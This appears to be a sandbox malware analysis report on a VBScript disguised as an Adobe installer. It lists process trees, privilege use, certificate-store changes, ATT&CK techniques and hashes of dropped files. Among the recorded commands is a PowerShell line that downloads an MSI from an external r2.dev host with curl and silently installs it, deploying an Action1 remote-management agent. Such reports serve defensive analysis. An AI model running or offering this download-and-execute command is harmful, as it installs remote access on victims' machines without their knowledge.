d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	action1_agent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112866b0000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef4200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	action1_agent.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	action1_agent.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4192	powershell.exe
4192	powershell.exe
5648	msiexec.exe
5648	msiexec.exe
260	powershell.exe
260	powershell.exe
260	powershell.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
5648	msiexec.exe
2692	powershell.exe
2692	powershell.exe
1928	powershell.exe
1928	powershell.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
3884	powershell.exe
3984	action1_agent.exe
3984	action1_agent.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeShutdownPrivilege	5092	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5092	msiexec.exe
Token: SeSecurityPrivilege	5648	msiexec.exe
Token: SeCreateTokenPrivilege	5092	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5092	msiexec.exe
Token: SeLockMemoryPrivilege	5092	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5092	msiexec.exe
Token: SeMachineAccountPrivilege	5092	msiexec.exe
Token: SeTcbPrivilege	5092	msiexec.exe
Token: SeSecurityPrivilege	5092	msiexec.exe
Token: SeTakeOwnershipPrivilege	5092	msiexec.exe
Token: SeLoadDriverPrivilege	5092	msiexec.exe
Token: SeSystemProfilePrivilege	5092	msiexec.exe
Token: SeSystemtimePrivilege	5092	msiexec.exe
Token: SeProfSingleProcessPrivilege	5092	msiexec.exe
Token: SeIncBasePriorityPrivilege	5092	msiexec.exe
Token: SeCreatePagefilePrivilege	5092	msiexec.exe
Token: SeCreatePermanentPrivilege	5092	msiexec.exe
Token: SeBackupPrivilege	5092	msiexec.exe
Token: SeRestorePrivilege	5092	msiexec.exe
Token: SeShutdownPrivilege	5092	msiexec.exe
Token: SeDebugPrivilege	5092	msiexec.exe
Token: SeAuditPrivilege	5092	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5092	msiexec.exe
Token: SeChangeNotifyPrivilege	5092	msiexec.exe
Token: SeRemoteShutdownPrivilege	5092	msiexec.exe
Token: SeUndockPrivilege	5092	msiexec.exe
Token: SeSyncAgentPrivilege	5092	msiexec.exe
Token: SeEnableDelegationPrivilege	5092	msiexec.exe
Token: SeManageVolumePrivilege	5092	msiexec.exe
Token: SeImpersonatePrivilege	5092	msiexec.exe
Token: SeCreateGlobalPrivilege	5092	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeShutdownPrivilege	5404	MsiExec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeDebugPrivilege	260	powershell.exe
Token: SeBackupPrivilege	292	action1_agent.exe
Token: SeBackupPrivilege	292	action1_agent.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe
Token: SeTakeOwnershipPrivilege	5648	msiexec.exe
Token: SeRestorePrivilege	5648	msiexec.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
5092	msiexec.exe
5648	msiexec.exe
4836	MsiExec.exe
5404	MsiExec.exe
2584	msiexec.exe
4944	MsiExec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 4192	1968	WScript.exe	89
PID 4192 wrote to memory of 2640	4192	powershell.exe	91
PID 4192 wrote to memory of 5092	4192	powershell.exe	92
PID 5648 wrote to memory of 4836	5648	msiexec.exe	94
PID 5648 wrote to memory of 5404	5648	msiexec.exe	95
PID 292 wrote to memory of 260	292	action1_agent.exe	98
PID 292 wrote to memory of 2584	292	action1_agent.exe	101
PID 5648 wrote to memory of 4944	5648	msiexec.exe	102
PID 3984 wrote to memory of 2692	3984	action1_agent.exe	104
PID 3984 wrote to memory of 1928	3984	action1_agent.exe	106
PID 1928 wrote to memory of 2628	1928	powershell.exe	111
PID 3984 wrote to memory of 3884	3984	action1_agent.exe	112

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe _Installer-11.89.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://pub-7d2a603e9c614596bd01b4589b0a069b.r2.dev/jghjhghjghj.msi' -o C:\Temp\patch.msi; msiexec.exe /i 'C:\Temp\patch.msi' /qn /norestart}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://pub-7d2a603e9c614596bd01b4589b0a069b.r2.dev/jghjhghjghj.msi -o C:\Temp\patch.msi
    3⤵
    PID:2640
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i C:\Temp\patch.msi /qn /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5092

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5648
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E45CB3448551DEEDE7B2696A93AA0520
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4836
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9710B5FBA535A12E939269828CAF4ED6 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5404
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 014E891B992549E33DC68C108E186508 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4944

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:292
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:260
- C:\Windows\SysWOW64\msiexec.exe
  C:\Windows\system32\msiexec.exe /I "C:\Windows\Action1\action1_agent.msi" /quiet /qn /norestart /lv* "C:\Windows\Action1\logs\agent_install_1788999316.log" ALLOWRESTRICTEDVERSIONS=1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2584

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2692
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2628
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58da51.rbs

Path C:\Config.Msi\e58da51.rbs
Size 240KB
SHA256 ba0de992ac1dff17e55485e30e04c6fa18ba60c24932b2c4ece077ddc97eba74
MD5 4cfdb5d588c4e983ce89727f9ef34b6e
SHA1 e48c776375a4a3232982c5fffde1d1a2b9f9da21
SHA512 0b90a8336ab353486228e9196be8fc3885903c9bfa5a1c13d3135def69ecf31f30aac0c47868b9f60fd5c31b08b917fac719359723b1ca697dee114be4063ce0
SSDEEP 3072:tQwIXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:apqhy8VKU3hvZUy+ppHEsuB/S
TLSH
T1D6349E217494547EEBFF0832953AD671AE3DF2380B90C56EC384581E6D618C1ABB7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58da52.rbs

Path C:\Config.Msi\e58da52.rbs
Size 7KB
SHA256 8ca181768736bf8ec7251332d3d0e9c939b86dc2c55457a8c07584e57d2947e9
MD5 7abe5a71ec151c889718843078013e14
SHA1 8a8110534c9d1f574642e3d22b2acd0d516245cc
SHA512 e2ae45a35891b7f20a641828c349bb818c79532e08fde9f89d23d54818800a75dfd3c0bfe901ffe74a101016502c335b2c308d4ffb184411f96561a89774ab8f
SSDEEP 192:ZHepz8zaTNG5wIkNG5wC2szTe/u/SkGL5kqKppu0qLer7S:Z+4UNEQNEh2suWakGL5kZu0qLer7S
TLSH
T12FE10D81762185E2E8961F38D707176137B6D7DA9310336B09CDE4A0DF6378D4F8A68E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58da57.rbs

Path C:\Config.Msi\e58da57.rbs
Size 246KB
SHA256 2d67c818649a0806a102c38d1176fc4e59fe4be199199c982666e5bc44ebfa50
MD5 b706f5d29be20f184a6bec78f946179c
SHA1 2635ee6cea9d4d19c94f5f60d20766d795d986c9
SHA512 af4d605ea0e69be565abef6776bd9d416e3635446dcd12169aac25812147377d6cda7ad663d497bc24608db5b277133848578def343229424cb565f341e9eafe
SSDEEP 3072:kQ6QkiiXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IJ:HpWqhy8VKU3hvZUy+ppHEsuB/S
TLSH
T168349D217494947EEBFF0932953AD671AE3DF2380B50C56EC384881E5D618C1ABB7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58da5c.rbs

Path C:\Config.Msi\e58da5c.rbs
Size 7KB
SHA256 389212c6d770c055aff0a663ff09adc100a7b7f5c952663331d8a8058c97002c
MD5 0723136cad8f7c6b51c95b3fcc98ab95
SHA1 dbcd9dd2a7c98f151694084c137fcfa92e24ecd2
SHA512 6e97098cfa5500520c4a328eb6a5933e11d1cb9e3617599a7e0b5b31ca131cb19613f0083c4698b06dbf3fe1782096cd69d7c8ab1419f843c9c82ea9465ac6c7
SSDEEP 192:J0kzRRN5oHRNmo1uaszxz8ezJX9+Yed+wFhmwuOdO7uL0ZBGbA:J0k9RDgRA+uasVgezJXted+wFhm9/iwt
TLSH
T19FF12282722541E2E9561F39E70327623BA7C7E9531052AB119DF4E0DF773CC4E8A68E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58da5f.rbf

Path C:\Config.Msi\e58da5f.rbf
Size 3B
SHA256 13bf7b3039c63bf5a50491fa3cfd8eb4e699d1ba1436315aef9cbe5711530354
MD5 21438ef4b9ad4fc266b6129a2f60de29
SHA1 5eb8e2242eeb4f5432beeec8b873f1ab0a6b71fd
SHA512 37436ced85e5cd638973e716d6713257d692f9dd2e1975d5511ae3856a7b3b9f0d9e497315a058b516ab31d652ea9950938c77c1ad435ea8d4b49d73427d1237
MD5 SHA1 SHA512

Submit Download

e58da60.rbs

Path C:\Config.Msi\e58da60.rbs
Size 1KB
SHA256 e7faf6d44c2c8f8a911732904441a4085f9e565251a9f7c7be3ea0d1c985cba3
MD5 4c1cfa69ed5aedd4066241ba4aec978c
SHA1 18d0b7760e584e3d45541094629c20dabd986971
SHA512 d861f47d53024ed61d901d969b45782f8933ae761e774c2ee61c2031fd2c7785d132a1c36747182bf8272307897d0f4ce18d1948ab5f6cc9cdf6f06dc9bd3c42
TLSH
T117214B93F71982C2E8D15F38D60317913BAB87EA471853A7088D7664AE32B485FA9189
MD5 SHA1 SHA512 TLSH

Submit Download

e58da61.rbs

Path C:\Config.Msi\e58da61.rbs
Size 7KB
SHA256 b697a1139f9d0a0702d61dee0c45da1828bc2e4d1464c286c43fc4110fd5d1ca
MD5 d34fefd3602b668d7f65dc4d4dd582bf
SHA1 78fa1fbb5307dfa52bb2a45197316afd072e82a0
SHA512 1e6f3fe7cb3b3446d86bbceeaf5981488048401cfff14ca91239e18b770215794bae6a900d081417cbfa869c49a968b084bcfc8dd0291505673c97e194e4d040
SSDEEP 96:JyCtPeWav7XkUNcqAiOliCsThqxBXkUNcqAiOliC6jZS2dThqxaH+35fyG9tbktD:Jne1fNcVhI2NcVhM+YS0/p5
TLSH
T1A8E122017A1052F3FA6A0735C3471F9437B2D2DA43102B1B9CCD66709F6BB895E951CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

patch.msi

Path C:\Temp\patch.msi
Size 6.8MB
SHA256 c1dc35bb5e4ddc60dd35899c203e99f037017d0cdf5f0e0f9934e207c8c3f85f
MD5 4e7998c8c2c637badada9a74cb4b251e
SHA1 f5f3a793bf8fb84dad069fa358ad500e2c0c1152
SHA512 e417d1e9772e731ad595c271c6c94f1ba30b8b011cb78afbf0f377683a162ecb941a913cc2aa50e8f9b1b80fdaa881809548c84f09d4a8c5e85610878105c0a8
SSDEEP 196608:Clc4PxNgvXPtj+zc5il1FiaRg9MRuGWRHZB:irr+/tj+QITFic+MRRWRn
TLSH
T1C7662321BA838036E95B1E30753D9A759B3DFE345F64B0CFA784382D5E316C05B72A92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.dll

Path C:\Windows\Action1\7z.dll
Size 1.3MB
SHA256 87aae6d4af8f028f080147e4cb0c42fff76c46fe8813c8b5dffd32d2bc566afd
MD5 56fa4622b917bb736eb5efed924f132d
SHA1 132dc22e72a9b01eff1790e9d681e7a41cc93b97
SHA512 5c22f0a4372869cd809163785fb65511cd1864599561c2691657ca76f7022a80f4076e209843cd87b03da121f651ed2ff8058bbcaa4ff807c76e4e132fd45f2d
SSDEEP 24576:xNib1WFpYKnzLy1GOjaCMHO0v93Pqt0lamuAsggS2VsAhwRDgfeS4:xNibGpYKiGOjoHO89/18ugSo1U
TLSH
T1DA559E11F7F1C074C58E5630862DBBBA50F8E729CA10A9D777C0BE6E6F319D2D225A09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 bdaf0c46119913e3636524f2a353f3fdaef30d6bf3efb168a20edd6dd10809bd
MD5 6d8bee98ef484d5892de8a9f16950228
SHA1 ebe2473b6e7f497a79a43a01585ddafd4042ef50
SHA512 d78abf33f61286527c3bd7ff9a244e7652328193390d4c5fc9cc6afdec44ea149cf8e945fd321931e5b53d64b98308ac2965232fad29f058f452ba0c42583685
SSDEEP 196608:O2gNtQsSfSMg5AXFlFBaSIYYu4+B2v4ZnDVVx0sp52Ck:OZJM/fblYN6ZnDVn082r
TLSH
T124968D21E6418135F9A301B299BE4B6F8538AE310B2454D7D3C85CAE5AB19E33B33F57
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
MD5 e4f1f52a78f22dd2be17449ca6f8f0af
SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
TLSH
T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe.connection

Path C:\Windows\Action1\action1_agent.exe.connection
Size 2B
SHA256 565339bc4d33d72817b583024112eb7f5cdf3e5eef0252d6ec1b9c9a94e12bb3
MD5 e0aa021e21dddbd6d8cecec71e9cf564
SHA1 9ce3bd4224c8c1780db56b4125ecf3f24bf748b7
SHA512 900110c951560eff857b440e89cc29f529416e0e3b3d7f0ad51651bfdbd8025b91768c5ed7db5352d1a5523354ce06ced2c42047e33a3e958a1bba5f742db874
MD5 SHA1 SHA512

Submit Download

action1_agent.exe.update_state

Path C:\Windows\Action1\action1_agent.exe.update_state
Size 1B
SHA256 7902699be42c8a8e46fbbb4501726517e86b22c56a189f7625a6da49081b2451
MD5 8f14e45fceea167a5a36dedd4bea2543
SHA1 902ba3cda1883801594b6e1b452790cc53948fda
SHA512 f05210c5b4263f0ec4c3995bdab458d81d3953f354a9109520f159db1e8800bcd45b97c56dce90a1fc27ab03e0b8a9af8673747023c406299374116d6f966981
MD5 SHA1 SHA512

Submit Download

action1_agent.msi

Path C:\Windows\Action1\action1_agent.msi
Size 6.8MB
SHA256 3aecefc1e34c9ffa888b706d7f6465d12cbd236364eff035f290f486b98489ed
MD5 6db1148308567ea2740e0bea2296d0a0
SHA1 7e91b31db286f5b8b42cedfbb1f70d35087ea9a9
SHA512 62fa62c92844b0c57cb322ba204abe5a67789ba65a346d9aa91b882ff754613be71cda7fd87d5862a4ebe642d82bf049dfe8022cc0dedbe0c8465fc7f1261208
SSDEEP 98304:hkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:alc4pkbLHLhObmXe/kdkmPDTs
TLSH
T10B761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_remote.exe

Path C:\Windows\Action1\action1_remote.exe
Size 1.5MB
SHA256 eb77e754e3b6c4d93fa4697bcdf02871be7b30b69ca0855a5df79f9404fdb3e8
MD5 d62dedf2a6511e53d1528691e0c33f37
SHA1 9acf8e99f4f535e8dac9d7c483ef5c2ee002ae9b
SHA512 810d4c45752e8c7a8f3b699b9791901cbdfcf2dbed00457f6a1178b16a60c0b9a1a4e25751e9cf206513c9764c52d70644310db5762eaee80315d282741ddf70
SSDEEP 24576:ig1cKk2wkiuXAlF8LFNYYgWj5d51z9DSrUPopzFv73OZN0RTDhfyuKCmSQ:ig1s6i+AOJ1zwrUPUhvVT1fy1C9Q
TLSH
T1B0757C213397802DE9B213307978D6BA593DBE754FB594CFA2D01AAD5C30AC25B35B23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 54KB
SHA256 f0c44fbae9841682dcd796f70b66f8fd864b308741128f805dee95520dc2d965
MD5 315de48336d21436c93f1e9d09070152
SHA1 e1bdd7c10ee793cdb1ee3f7ff0923891531f8734
SHA512 e4011ecaedd86324354a37b602830ec98e2d9a33f30690a241c7abb2eeb24815c5b9054320b5936d914ce2ea696fa0c5dd7e5773ccb8c4a6d9d1e83c7a415b5f
SSDEEP 768:4XKnbhRgjUpQUfRQ3Lyhx4zUtsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQzs:dRoLEBxs+wkMdAeShUZc
TLSH
T146439E16E4747DB204C21C8C5FDB5AF7DA4E019602D906DE870CEEBF99AF56C8102A9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_downgrade.version_pair

Path C:\Windows\Action1\agent_downgrade.version_pair
Size 71B
SHA256 a443bdafb067253124b6538830e34a822e123bb23e7fd42fa629e4c607c8bf78
MD5 7f4d63e66bb616013ddd032c105db4b3
SHA1 3bc70d9581f8334b0cdb28c54cad0aefec1538d8
SHA512 ddd9713de62acc72b9bb396d1b2f13eb7d36a81509109e85bc250987650002d1f4b4a3061c426b01d242e45aab0186c6ad5eb9e4bf84fa48fa3a6c4e9c5c9b66
TLSH
T1D7A002252110353754EB4B55393526215A0945B6DB66AC3D519E0996423D39617CCB00
MD5 SHA1 SHA512 TLSH

Submit Download

first_install

Path C:\Windows\Action1\first_install
Size 50B
SHA256 0dc0b31c19c6a768ecf41f6dbfbe2a65e8d2f227fa78ed84c36af01a9e16e252
MD5 33940c4567a2aa578895e906ec2ad17b
SHA1 86952911678a64914cc4faaa18a9434cfc0caa5d
